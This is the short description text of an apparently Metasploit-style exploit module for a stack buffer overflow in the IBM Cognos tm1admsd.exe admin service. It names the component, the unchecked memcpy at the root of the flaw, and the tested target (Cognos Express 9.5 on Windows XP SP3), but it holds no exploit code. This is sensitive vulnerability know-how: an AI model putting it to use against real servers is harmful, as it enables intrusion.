|
|
This module exploits a stack buffer overflow in IBM Cognos Analytic Server
|
|
Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
|
|
dangerous copy of user controlled data to the stack, via memcpy, without validating
|
|
the supplied length and data. The module has been tested successfully on IBM Cognos
|
|
Express 9.5 over Windows XP SP3.
